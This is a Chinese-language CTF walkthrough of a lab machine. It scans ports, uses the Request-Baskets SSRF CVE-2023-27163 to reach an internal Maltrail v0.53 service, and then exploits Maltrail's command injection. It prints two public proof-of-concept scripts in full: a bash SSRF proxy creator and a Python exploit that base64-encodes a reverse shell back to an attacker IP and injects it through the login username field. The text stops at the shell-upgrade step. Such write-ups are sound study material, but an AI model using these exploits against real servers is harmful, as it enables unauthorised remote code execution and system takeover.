1、使用nmap进行端口扫描
nmap -p- --min-rate 10000 10.10.11.224
nmap -sV -sC -A -p 22,80,8338,55555 10.10.11.224
2、发现除了22端口ssh外,唯一开放的端口55555上跑着Http服务,使用浏览器进行访问发现是一个request-baskets | Version: 1.2.1 的服务
3、使用google进行搜索关于该版本的漏洞信息,发现其存在一个CVE-2023-27163的SSRF漏洞
Request Baskets 是一项 Web 服务,旨在捕获任意 HTTP 请求并通过 RESTful API 或简单的 Web 用户界面方便对其进行检查。
该服务从RequestHub项目的概念和应用程序设计原则中汲取灵感,并重新创建了RequestBin服务之前提供的功能。
CVE-2023–27163 代表请求篮中发现的严重服务器端请求伪造 (SSRF) 漏洞,影响 1.2.1 及之前的所有版本< /span>/api/baskets/{name} 组件,从而获得对网络资源和敏感信息的未经授权的访问。.此特定漏洞使恶意行为者能够通过精心设计的 API 请求利用
1、Github中找到对该漏洞的详细描述和Poc
https://github.com/entr0pie/CVE-2023-27163
#!/bin/bash
echo -e "Proof-of-Concept of SSRF on Request-Baskets (CVE-2023-27163) || More info at https://github.com/entr0pie/CVE-2023-27163\n";
if [ "$#" -lt 2 ] || [ "$1" = "-h" ] || [ "$1" = "--help" ]; then
help="Usage: CVE-2023-27163.sh \n\n" ;
help+="This PoC will create a vulnerable basket on a Request-Baskets (<= 1.2.1) server,\n";
help+="which will act as a proxy to other services and servers.\n\n";
help+="Arguments:\n" \
help+=" URL main path (/) of the server (eg. http://127.0.0.1:5000/)\n";
help+=" TARGET r-baskets target server (eg. https://b5f5-138-204-24-206.ngrok-free.app/)\n\n";
help+="More info at https://github.com/entr0pie/CVE-2023-27163.";
echo -e "$help";
exit 1;
fi
URL=$1
ATTACKER_SERVER=$2
if [ "${URL: -1}" != "/" ]; then
URL="$URL/";
fi;
BASKET_NAME=$(LC_ALL=C tr -dc 'a-z' </dev/urandom | head -c "6");
API_URL="$URL""api/baskets/$BASKET_NAME";
PAYLOAD="{\"forward_url\": \"$ATTACKER_SERVER\",\"proxy_response\": true,\"insecure_tls\": false,\"expand_path\": true,\"capacity\": 250}";
echo "> Creating the \"$BASKET_NAME\" proxy basket...";
if ! response=$(curl -s -X POST -H 'Content-Type: application/json' -d "$PAYLOAD" "$API_URL"); then
echo "> FATAL: Could not properly request $API_URL. Is the server online?";
exit 1;
fi;
BASKET_URL="$URL$BASKET_NAME";
echo "> Basket created!";
echo "> Accessing $BASKET_URL now makes the server request to $ATTACKER_SERVER.";
if ! jq --help 1>/dev/null; then
echo "> Response body (Authorization): $response";
else
echo "> Authorization: $(echo "$response" | jq -r ".token")";
fi;
exit 0;
2、端口扫描发现目标还开放着80端口(http服务)但却无法访问,执行Poc去创建一个用来代理请求80端口的Request-Baskets,通过 SSRF 漏洞在服务器内部重定向请求的方式,来尝试达到访问80端口网页的目的
3、创建成功后使用浏览器访问http://10.10.11.224:55555/wmddke,服务器将会发起对80端口的请求
4、在页面左下角提示该服务为 Maltrail 版本 v0.53,在该版本中存在一个RCE漏洞
https://github.com/spookier/Maltrail-v0.53-Exploit
该脚本需要三个参数:反向 shell 应连接回的 IP 地址(侦听 IP)、反向 shell 应连接的端口号(侦听端口)以及目标系统的 URL
脚本需要安装curl
python3 exploit.py [listening_IP] [listening_PORT] [target_URL]
例如:
python3 exploit.py 1.2.3.4 1337 http://example.com
'''
██████ ██▓███ ▒█████ ▒█████ ██ ▄█▀ ██▓▓█████ ██▀███
▒██ ▒ ▓██░ ██▒▒██▒ ██▒▒██▒ ██▒ ██▄█▒ ▓██▒▓█ ▀ ▓██ ▒ ██▒
░ ▓██▄ ▓██░ ██▓▒▒██░ ██▒▒██░ ██▒▓███▄░ ▒██▒▒███ ▓██ ░▄█ ▒
▒ ██▒▒██▄█▓▒ ▒▒██ ██░▒██ ██░▓██ █▄ ░██░▒▓█ ▄ ▒██▀▀█▄
▒██████▒▒▒██▒ ░ ░░ ████▓▒░░ ████▓▒░▒██▒ █▄░██░░▒████▒░██▓ ▒██▒
▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒ ▒▒ ▓▒░▓ ░░ ▒░ ░░ ▒▓ ░▒▓░
░ ░▒ ░ ░░▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ░▒ ▒░ ▒ ░ ░ ░ ░ ░▒ ░ ▒░
░ ░ ░ ░░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░░ ░ ▒ ░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
'''
import sys;
import os;
import base64;
def main():
listening_IP = None
listening_PORT = None
target_URL = None
if len(sys.argv) != 4:
print("Error. Needs listening IP, PORT and target URL.")
return(-1)
listening_IP = sys.argv[1]
listening_PORT = sys.argv[2]
target_URL = sys.argv[3] + "/login"
print("Running exploit on " + str(target_URL))
curl_cmd(listening_IP, listening_PORT, target_URL)
def curl_cmd(my_ip, my_port, target_url):
payload = f'python3 -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{my_ip}",{my_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\''
encoded_payload = base64.b64encode(payload.encode()).decode() # encode the payload in Base64
command = f"curl '{target_url}' --data 'username=;`echo+\"{encoded_payload}\"+|+base64+-d+|+sh`'"
os.system(command)
if __name__ == "__main__":
main()
5、本地使用nc监听1234端口,执行Poc获取flag
1、升级交互式shell,查看当前用户可以root权限执行哪些服务